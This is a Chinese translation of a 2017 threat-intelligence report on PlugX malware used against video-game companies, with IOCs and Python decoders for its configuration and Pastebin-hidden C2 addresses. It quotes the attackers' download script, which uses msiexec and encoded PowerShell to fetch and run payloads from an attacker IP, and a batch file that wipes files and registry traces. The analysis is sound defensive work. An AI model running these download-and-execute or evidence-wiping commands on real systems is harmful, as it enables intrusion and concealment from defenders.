屡禁不止:一个敢于将自己注入到杀毒软件中的斗士

简介: 本文讲的是屡禁不止:一个敢于将自己注入到杀毒软件中的斗士,PlugX恶意软件可以算是攻击界的老前辈了,自2012年被曝光以来,它就以各种形式被黑客利用,截至目前它还一直活跃在攻击的最前沿。关于其长盛不衰的攻击功能,已经有很多个机构对其进行了研究,比如:
本文讲的是 屡禁不止:一个敢于将自己注入到杀毒软件中的斗士

屡禁不止:一个敢于将自己注入到杀毒软件中的斗士

PlugX恶意软件可以算是攻击界的老前辈了,自2012年被曝光以来,它就以各种形式被黑客利用,截至目前它还一直活跃在攻击的最前沿。关于其长盛不衰的攻击功能,已经有很多个机构对其进行了研究,比如:

1.由Circl机构发布的“TR-12-用于针对性攻击的PlugX恶意软件变体的分析”。 

2.由JPCert机构发布的“分析最近的PlugX变体- P2P PlugX”

3.由Airbus机构发布的“PlugX一些未覆盖点”

4.由Sophos机构发布的“下一代的PlugX”

鉴于对其的大量研究,PlugX已经被各个安全厂商重点关注,还为此进行了专门的检测。尽管如此,它仍然是今天许多攻击者的首选工具,这意味着如果攻击者要成功使用PlugX,就要对它进行不断地升级和创新,才能成功感染目标。

我们在本文中选取了一组被一个攻击者使用的PlugX样本,以及他们为避免安全机制而采取的措施。这些攻击的目标主要是视频游戏行业的公司。

在分析中,我们发现了该样本使用了许多有趣的技术,比如:

1.解决初始C2地址

2.将PlugX与开源工具结合起来才能开始加载恶意软件

3.避免在磁盘上检测

为了保护用户免受本文所述的这个样本的攻击,Palo Alto Networks公司采取了以下的方式:

1.Wildfire将本文中提到的所有文件标识为恶意。

2. Traps 4.0可以位本文所介绍的这些滥用的进程加载恶意代码进行保护。

Palo Alto Networks的AutoFocus客户可以通过标签跟踪本文所介绍的相关示例:ParanoidPlugX

相关IOC会在本文的附录A中进行详细介绍。

由RTF文件引发的攻击过程

我们的介绍会从一个名为“新工资结构2017.doc”的RTF文件开始,它利用了CVE-2017-0199漏洞。攻击者可能利用此漏洞通过诱使用户打开处理特殊构造的Office文件在用户系统上执行任意命令,从而控制用户系统。RTF文件可以从以下URL下载其初始有效载荷:

hxxp://172.104.65[.]97/Office.rtf

这是一个下载脚本,尝试下载并执行两个有效载荷,代码如下所示:

<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%System32reg.exe add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v MSASCuiL2 /t reg_sz /d "%windir%System32msiexec.exe /q /i hxxp://172.104.65.97/Tasks.png" /f', 0);window.close();
a.run('%windir%SysWOW64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKAEkARQBYACAAJABuAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQAwADQALgA2ADUALgA5ADcALwBnAHUAZQBzAHQALgBwAHMAMQAnACkAOwAKAA==', 0);window.close();
</script>

第一个有效载荷是Windows Installer(MSI)文件,我们对该文件进行了动态分析。我们可以从其操作中看到恶意软件是PlugX,但是C2地址是一个pastebin.com的URL。利用Pastebin,我们识别了其中的一段代码,并将其解码为C2地址,但是查看返回的内容,我们却无法立即识别C2。

译者注:astebin是一个很方便的便签网站,你可以很方便的复制粘贴你的文本内容然后做成便签分享,很多黑客团队喜欢把自己的攻击成果(比如数据库、代码)贴在网站上来炫耀。

第二个文件是一个PowerShell脚本,它似乎基于一个加载任意shellcode的Rapid7 Ruby开发脚本。在这种情况下,shellcode是PlugX的副本,与MSI文件中包含的shellcode相同,我们将在下面进行剖析。

.NET包装器

主要有效载荷是在之前提到的MSI文件中的Microsoft .NET Framework文件中提供的。执行后,.NET Framework包装器将首先检查VMware工具是否在后台运行,这一步会通过简单的搜索任何名为“vmtoolsd”的操作来完成检查。如果没有匹配的进程正在运行,则恶意软件继续执行,在HKCU  Software  Microsoft  Windows  CurrentVersion  RunOnce中创建名为“MSASCuiLTasks”的注册表项以进行持久性注入。此注册表项会导致恶意软件在系统重新启动时再次运行。接下来,它将复制内存中的第一阶段shellcode并创建一个运行在其中的shellcode的新线程,负责此执行的代码如图1所示。Shellcode虽然未被加密,但是被进行了模糊化处理。

屡禁不止:一个敢于将自己注入到杀毒软件中的斗士

 .NET包装器的主要代码,Shellcode数组是在一个新线程中创建和执行的

第一个shellcode会负责解密另一个shellcode代码块,然后第二个shellcode块会依次使用RtlDecompressBuffer解压内存中的主PlugX DLL。像PlugX一样,最终DLL头文件会缺少DOS和NT映像头,它们会被替换为XV而不是MZ和PE,如图2所示。

屡禁不止:一个敢于将自己注入到杀毒软件中的斗士

解码的DLL有效载荷的映像头被替换为XV而不是MZ和PE

最后,第二个shellcode代码块将解析导入和重定位并跳转到DLL的入口点。

shellcode中的加密配置

恶意软件的配置信息(包括C2信息)在第一个shellcode blob中加密,并作为参数传递给主要的PlugX DLL的DllMain函数。此DLL本身还包含连接到端口12345上的本地主机的默认配置。这意味着如果您手动提取DLL并执行它,那么它将连接到localhost:12345而不是作为初始参数传递的实际C2服务器通过第一个shellcode到DLL。

解密配置

如前所述,实际的配置数据存储在第一阶段的shellcode中,但是它不是以明文方式存储,而是经过加密和压缩的。配置数据采用的是JPCert先前描述的相同算法进行加密,但使用不同的XOR值。

JPCert文章中讨论的版本使用的是20140918, 353 ,而我们检查的版本使用的是20141118, 8389的XOR值。同样的解密例程也用于此示例的PlugX所需的任何其他字符串混淆或文件加密。解密字符串后,必须使用LZNT1进一步解压缩。为此,我们可以使用附录B中所介绍的Python脚本。

解密和解压缩字符串,然后,我们可以轻松识别PlugX配置的各个方面,例如,我们可以看到它被注入到以下这三个过程:

1.%ProgramFiles(x86)%SophosAutoUpdateALUpdate.exe

2.%ProgramFiles(x86)%Common FilesJavaJava Updatejusched.exe

3.%ProgramFiles(x86)%Common FilesAdobeARM1.0armsvc.exe

可以看到,PlugX将自己注入到属于杀毒产品套件过程的尝试是特别大胆的一个挑战。

除此之外,PlugX还会查询四个PasteBin链接以从这些链接中提取C2地址:

https://pastebin[.]com/eSsjmhBG

https://pastebin[.]com/PSxQd6qw

https://pastebin[.]com/CzjM9qwi

https://pastebin[.]com/xHDSxxMD

从配置中提取的字符串的完整列表会在附录D详细介绍。

提取C2

PlugX具有从给定的URL中提取加密的C2配置的功能,在这种情况下,攻击者就会创造性地将字符串隐藏在看似合法的文本块中,从Pastebin检索的内容的一个例子如下:

---- BEGIN SSH2 PUBLIC KEY ----
Comment: "rsa-key"
AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd
8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3
/KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps
8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE
2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ=
---- END SSH2 PUBLIC KEY ----

乍看起来我们什么也没有发现,但是这个例子使用了与Airbus中讨论的相同技术。它解析了RSA公钥加密算法,寻找 魔法值(magic value)“DZKS”和“DZJS”。然后它读取和解密这些值之间的内容以产生如下所示的IP地址:

---- BEGIN SSH2 PUBLIC KEY ----
Comment: "rsa-key"
AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd
8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3
/KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps
8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE
2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ=
---- END SSH2 PUBLIC KEY ----

解释使用此技术加密的字符串的Python脚本在附录B的Python脚本中给出。

下图给出了该示例的整个执行流程:

屡禁不止:一个敢于将自己注入到杀毒软件中的斗士

总而言之,攻击者将许多不同的代码链接在自定义和开放源代码中,这些都是为了加载PlugX。鉴于组件的数量,攻击者只需花费一些时间就能继续使用相同的恶意软件致力于逃避检测。

其他PlugX示例

根据上面的发现,我们还发现了其他有趣的PlugX示例。这些示例基于发送到目标组织的类似样本,攻击者使用的基础设施以及样本的独特传送机制来确定。

“偏执”型PlugX

通过对一系列相关的PlugX样本进行分析,PlugX似乎特别“偏执”于磁盘上的检测,因此我们采取了特定的反取证步骤来防止在磁盘上被检测到,比如以下这个样本:

SHA256:6500636c29eba70efd3eb3be1d094dfda4ec6cca52ace23d50e98e6b63308fdb

该文件是一个自解压RAR,这是PlugX的常见传送机制,特别是当最终的有效内容将被合法可执行文件加载时。以上的样本也一样的使用该方法,因为由加载DLL“BlackBox.dll”的合法签名的Microsoft二进制执行的最终有效载荷。然而,为了启动恶意软件的执行,攻击者使用执行恶意软件的批处理脚本,但批处理脚本不仅仅是启动恶意软件的执行。运行恶意软件后,批处理脚本会继续清除系统上存在的所有迹象,其中包括:

1.删除安装期间创建的所有初始文件,以及开始执行期间磁盘上所需的所有相关文件。

2.删除与提取SFX RAR相关联的所有注册表项

3.删除用户协助与最近执行的应用程序相关的密钥条目

4.删除与最近运行的服务相关的所有注册表项

显然,使用这个PlugX的攻击者为了防止它在磁盘上被检测到,对注册表和文件系统中都进行了特别的处理。为此,大多数的脚本运行都会多次执行删除命令。

这样一来,检测人员就很难找到PlugX在磁盘上执行过的证据了,更别说对它进行实时追踪了,这就意味着必须基于内存或网络的检测来识别入侵,批处理脚本的完整内容会在附录C中详细介绍。

PlugX的开源

在2017年上半年,我们看到攻击者开始改进这种“Paranoid”版本的PlugX ,因为它在感染系统之后,会让系统的内存骤然变小,所以攻击者就想开发一种绕过应用程序白名单技术。为此,他们开始整合开放源代码技术,特别是已经汇编GitHub中,由用户SubTee创建技术。例如,以下示例使用msbuild.exe在.NET Framework项目中将恶意软件加载为Shellcode,有效地绕过了应用程序白名单技术:

SHA256:822b313315138a69fc3e3f270f427c02c4215088c214dfaf8ecb460a5418c5f3

此示例大致遵循了GIST曾经发布的关于PlugX的攻击技术,但是附加的代码似乎是攻击者的习惯,它充当了加载shellcode的辅助器。如我们上述列举的第一个例子,shellcode是另一个PlugX的有效载荷。

在另一种情况下,攻击者使用从SubTee GitHub项目借用的另一个代码段,来填写完全模板化的.NET应用程序白名单绕过文件:

SHA256:3e9136f95fa55852993cd15b82fe6ec54f78f34584f7689b512a46f0a22907f2:

这样攻击者就不必编写任何自己的代码,而是直接将其shellcode粘贴到模板中,以便将PlugX作为可信应用程序的子进程启动。

预防措施

虽然PlugX多年来一直被安全商所关注,但它一直处于活跃的状态,屡禁不止,为此,我们将其活跃的原因进行了如下总结:

1.PlugX的使用者对现有的PlugX恶意软件已经使用的得心应手了,从而不愿意放弃。

2.尽管PlugX的版本进行了多次变异,但攻击者也很难编写一个令他们完全满意的版本,所以每次攻击,我们都会发现它的功能有所变化。

3.重新开发一种与PlugX一样复杂的恶意软件需要付出极大的成本,而且还不一定能成功。

很可能,这三个因素是PlugX流行多年的原因。虽然有许多PlugX攻击者继续使用相对平庸的技术来加载恶意软件,使防御者能够轻松识别和防止它的执行,但是还有更多的PlugX在使用许多有趣的技术来避免检测。

特别是,攻击者已经充分利用开源工具来对它进行升级和改造,并通过github来分享执行有效载荷的许多技巧,这样的恶性循环,造成了PlugX处于不断地变化中。不出意外地话,很快就会有许多杀毒产品会把应用程序白名单作为PlugX攻击防护的重点之一,但可以肯定,很快就会有新的技术来绕过这些防护。

附录A:相关的IoCs

直接相关:

45.248.84[.]7

172.104.65[.]97

屡禁不止:一个敢于将自己注入到杀毒软件中的斗士

https://pastebin[.]com/eSsjmhBG

https://pastebin[.]com/PSxQd6qw

https://pastebin[.]com/CzjM9qwi

https://pastebin[.]com/xHDSxxMD

间接相关:

屡禁不止:一个敢于将自己注入到杀毒软件中的斗士

域:

kbklxpb.imshop.in

serupdate.wicp.net

msfcnsoft.com

micros0ff.com

msfcnsoft.com

microsoff.net

msffncsi.com

A781195.gicp.net

upgradsource.com

B781195.vicp.net

kbklxp.eicp.net

附录B:Python脚本

LZNT1解密脚本,只适用于Windows:

import ctypes
from ctypes import *
with open('mysettings.bin','rb') as f:
    buffer = f.read()
    
uncompressed_size = len(buffer) * 16
uncompressed = create_string_buffer(uncompressed_size)
FinalUncompressedSize = c_ulong(0)
nt = windll.ntdll
# COMPRESSION_FORMAT_LZNT1 = 2
res = nt.RtlDecompressBuffer(2, uncompressed, uncompressed_size, buffer, len(buffer), byref(FinalUncompressedSize))
if (res == 0):
    uncompressed = uncompressed[0:FinalUncompressedSize.value]

解码PlugX配置:

def plugx_decode(data):
    decode_key = struct.unpack_from('&lt;I', data, 0)[0] 
    out = '' 
    # XOR Values might possibly be varied. 
    key1 = decode_key ^ 20141118 
    key2 = decode_key ^ 8389 
    for c in data[4:]: 
        # ADD/SUB Values might possibly be varied. 
        key1 += 3373 
        key2 -= 39779 
        dec = ord(c) ^ (((key2 &gt;&gt; 16) &amp; 0xff ^ ((key2 &amp; 0xff ^ (((key1 &gt;&gt; 16) &amp; 0xff ^ (key1 - (key1 &gt;&gt; 8) &amp; 0xff)) - (key1 &gt;&gt; 24) &amp; 0xff)) - (key2 &gt;&gt; 8) &amp; 0xff)) - (key2 &gt;&gt; 24) &amp; 0xff)
        out = out + chr(dec)
    
    return out

从Pastebin解码C2地址:

import struct
def decode(buf):
    res = ""
    for i in range(0, len(buf) -1, 2):
        dl = ord(buf[i + 1])
        dl = dl - 0x41
        dl = dl * 0x10
        dl = dl + ord(buf[i])
        dl = dl - 0x41
        res += chr(dl)
    return res
def decode_plugx_pastebin(buf):
    start = buf.find('DZKS')
    if start == -1:
        return None
    end = buf.find('DZJS', start + 4)
    if end == -1:
        return None
    start += 4
    data = buf[start:end]
    decoded = decode(data)
    connection_type = struct.unpack_from('&lt;H', decoded, 0)[0]
    port = struct.unpack_from('&lt;H', decoded, 2)[0]
    ip = decoded[4:]
    print "Decoded IP: {}:{}, type: {}".format(ip, port, connection_type)
    return True
decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSGAAALLBAEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsFu2q9n8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3J=')
decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSDAAAAFAAEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsAHyLye8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6aBha3q9niJFu2=')
decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSEAAABGHBEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsFu2niJ8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9=')
decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ=')

附录C:a.bat

mscorsvw.exe
cscript del.vbs
del BlackBox.dll
del mscorsvw.exe
del BlackBox
del explorer.exe
cscript del.vbs
del %sfxcmd%
del mscorsvw.exe
del BlackBox.dll
del BlackBox
del explorer.exe
del del.vbs
del a.bat
del %sfxcmd%
del mscorsvw.exe
del BlackBox.dll
del BlackBox
del explorer.exe
del del.vbs
del a.bat
reg delete "HKLMSYSTEMControlSet001servicesemproxy" /f
reg delete "HKLMSYSTEMControlSet002servicesemproxy" /f
reg delete "HKLMSYSTEMCurrentControlSetservicesemproxy" /f
reg delete "HKLMSYSTEMControlSet001servicesEmpPrx" /f
reg delete "HKLMSYSTEMControlSet002servicesEmpPrx" /f
reg delete "HKLMSYSTEMCurrentControlSetservicesEmpPrx" /f
reg delete "HKLMSOFTWAREWow6432NodeMicrosoftTracingsvchost_RASAPI32" /f
reg delete "HKLMSOFTWAREWow6432NodeMicrosoftTracingsvchost_RASMANCS" /f
reg delete "HKU.DEFAULTSoftwareWinRAR SFX" /f
 
 
reg delete "HKUS-1-5-18SoftwareWinRAR SFX" /f
reg delete "HKUS-1-5-18SoftwareMicrosoftWindows Script Host" /f
reg delete "HKUS-1-5-18SoftwareMicrosoftWindows Script HostSettings" /f
reg delete "HKUS-1-5-18SoftwareWinRAR SFX" /f
reg delete "HKUS-1-5-18SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountP:HfrefNqzvavfgengbeQbjaybnqffipubfgfipubfg.rkr" /f
reg delete "HKUS-1-5-18SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}Count{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}pzq.rkr" /f
reg delete "HKUS-1-5-18SoftwareWinRAR SFXC%%Users%ADMINI~1%AppData%Local%Temp" /f
reg delete "HKUS-1-5-18SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountHRZR_PGYFRFFVBA" /f
reg delete "HKUS-1-5-18SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}Count{S38OS404-1Q43-42S2-9305-67QR0O28SP23}rkcybere.rkr" /f
reg delete "HKUS-1-5-18SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountP:HfrefNqzvavfgengbeQbjaybnqfErtfubgCbegnoyrNccertfubgertfubg_k64.rkr" /f
reg delete "HKUS-1-5-18SoftwareMicrosoftWindowsCurrentVersionInternet SettingsConnectionsSavedLegacySettings" /f
 
reg delete "HKUS-1-5-19SoftwareWinRAR SFX" /f
reg delete "HKUS-1-5-19SoftwareMicrosoftWindows Script Host" /f
reg delete "HKUS-1-5-19SoftwareMicrosoftWindows Script HostSettings" /f
reg delete "HKUS-1-5-19SoftwareWinRAR SFX" /f
reg delete "HKUS-1-5-19SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountP:HfrefNqzvavfgengbeQbjaybnqffipubfgfipubfg.rkr" /f
reg delete "HKUS-1-5-19SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}Count{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}pzq.rkr" /f
reg delete "HKUS-1-5-19SoftwareWinRAR SFXC%%Users%ADMINI~1%AppData%Local%Temp" /f
reg delete "HKUS-1-5-19SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountHRZR_PGYFRFFVBA" /f
reg delete "HKUS-1-5-19SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}Count{S38OS404-1Q43-42S2-9305-67QR0O28SP23}rkcybere.rkr" /f
reg delete "HKUS-1-5-19SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountP:HfrefNqzvavfgengbeQbjaybnqfErtfubgCbegnoyrNccertfubgertfubg_k64.rkr" /f
reg delete "HKUS-1-5-19SoftwareMicrosoftWindowsCurrentVersionInternet SettingsConnectionsSavedLegacySettings" /f
 
reg delete "HKUS-1-5-20SoftwareWinRAR SFX" /f
reg delete "HKUS-1-5-20SoftwareMicrosoftWindows Script Host" /f
reg delete "HKUS-1-5-20SoftwareMicrosoftWindows Script HostSettings" /f
reg delete "HKUS-1-5-20SoftwareWinRAR SFX" /f
reg delete "HKUS-1-5-20SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountP:HfrefNqzvavfgengbeQbjaybnqffipubfgfipubfg.rkr" /f
reg delete "HKUS-1-5-20SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}Count{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}pzq.rkr" /f
reg delete "HKUS-1-5-20SoftwareWinRAR SFXC%%Users%ADMINI~1%AppData%Local%Temp" /f
reg delete "HKUS-1-5-20SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountHRZR_PGYFRFFVBA" /f
reg delete "HKUS-1-5-20SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}Count{S38OS404-1Q43-42S2-9305-67QR0O28SP23}rkcybere.rkr" /f
reg delete "HKUS-1-5-20SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountP:HfrefNqzvavfgengbeQbjaybnqfErtfubgCbegnoyrNccertfubgertfubg_k64.rkr" /f
reg delete "HKUS-1-5-20SoftwareMicrosoftWindowsCurrentVersionInternet SettingsConnectionsSavedLegacySettings" /f
 
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643SoftwareWinRAR SFX" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643SoftwareMicrosoftWindows Script Host" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643SoftwareMicrosoftWindows Script HostSettings" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643SoftwareWinRAR SFX" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountP:HfrefNqzvavfgengbeQbjaybnqffipubfgfipubfg.rkr" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}Count{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}pzq.rkr" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643SoftwareWinRAR SFXC%%Users%ADMINI~1%AppData%Local%Temp" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountHRZR_PGYFRFFVBA" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}Count{S38OS404-1Q43-42S2-9305-67QR0O28SP23}rkcybere.rkr" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountP:HfrefNqzvavfgengbeQbjaybnqfErtfubgCbegnoyrNccertfubgertfubg_k64.rkr" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643SoftwareMicrosoftWindowsCurrentVersionInternet SettingsConnectionsSavedLegacySettings" /f
 
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643_ClassesSoftwareWinRAR SFX" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643_ClassesSoftwareMicrosoftWindows Script Host" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643_ClassesSoftwareMicrosoftWindows Script HostSettings" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643_ClassesSoftwareWinRAR SFX" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643_ClassesSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountP:HfrefNqzvavfgengbeQbjaybnqffipubfgfipubfg.rkr" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643_ClassesSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}Count{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}pzq.rkr" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643_ClassesSoftwareWinRAR SFXC%%Users%ADMINI~1%AppData%Local%Temp" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643_ClassesSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountHRZR_PGYFRFFVBA" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643_ClassesSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}Count{S38OS404-1Q43-42S2-9305-67QR0O28SP23}rkcybere.rkr" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643_ClassesSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}CountP:HfrefNqzvavfgengbeQbjaybnqfErtfubgCbegnoyrNccertfubgertfubg_k64.rkr" /f
reg delete "HKUS-1-5-21-590835768-3595378272-1660587800-1643_ClassesSoftwareMicrosoftWindowsCurrentVersionInternet SettingsConnectionsSavedLegacySettings" /f
del /s c:windowstemp*.bat
del /s c:windowstemp*.dat
del /s c:windowstemp*.dll
del /s c:windowstemp*.exe
del /s c:windowstemp*.vbs
del %0

附录D:PlugX提取字符串

https//pastebin.com/eSsjmhBG
https://pastebin.com/PSxQd6qw
https://pastebin.com/CzjM9qwi
https://pastebin.com/xHDSxxMD
%ProgramData%arm2sv1k
DSSM
DSSM
Microsoft Office Document Update Utility
SoftwareMicrosoftWindowsCurrentVersionRun
JmLI
%ProgramFiles(x86)%SophosAutoUpdateALUpdate.exe
%ProgramFiles(x86)%Common FilesJavaJava Updatejusched.exe
%ProgramFiles(x86)%Common FilesAdobeARM1.0armsvc.exe
%windir%system32FlashPlayerApp.exe
slax
pastebin
mahTszuBzqwUTcGt
%ProgramData%arm2sv1kAkgcl



原文发布时间为:2017年7月3日
本文作者:xiaohui
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
7月前
|
安全 Java 持续交付
1分钟代码漏洞自动检测
基于云效Codeup,1分钟左右即可自动检测出代码里的源码漏洞、依赖包漏洞、敏感信息等安全风险,并为你自动修复。
196 0
|
7月前
|
安全 UED Windows
3.3 DLL注入:突破会话0强力注入
Session是`Windows`系统的一个安全特性,该特性引入了针对用户体验提高的安全机制,即拆分Session 0和用户会话,这种拆分`Session 0`和`Session 1`的机制对于提高安全性非常有用,这是因为将桌面服务进程,驱动程序以及其他系统级服务取消了与用户会话的关联,从而限制了攻击者可用的攻击面。
48 0
|
10月前
|
SQL 安全 Linux
Web安全——命令注入漏洞详解
Web安全——命令注入漏洞详解
369 0
|
SQL XML 安全
半小时了解SQL注入漏洞?(注入方式大全+绕过大全)
🏆今日学习目标: 🍀学习了解sql注入漏洞
310 0
半小时了解SQL注入漏洞?(注入方式大全+绕过大全)
|
SQL 安全 PHP
SQL注入-注入点
SQL注入被称为漏洞之王 , 是最常用的漏洞之一 , 其中PHP在这方面的贡献最大 SQL注入原理 用户在参数中插入恶意的SQL语句 , 破坏原有的SQL语法结构 , 从而执行攻击者的操作 SQL注入点
125 0
|
SQL 数据库
SQL注入-报错注入
页面没有显示位 , 但有数据库的报错信息时 , 可使用报错注入 报错注入是最常用的注入方式 , 也是使用起来最方便(我觉得)的一种注入方式
131 0
SQL注入-报错注入
|
安全 Shell Linux
命令注入绕过方式总结
前言 命令注入是web中常见的漏洞之一,由于web应用程序未对用户提交的数据做严格的过滤,导致用户输入可以直接被linux或windows系统当成命令执行,一般都会造成严重的危害。
553 0
|
XML 安全 网络安全
网站安全渗透测试 文件包含注入检测办法
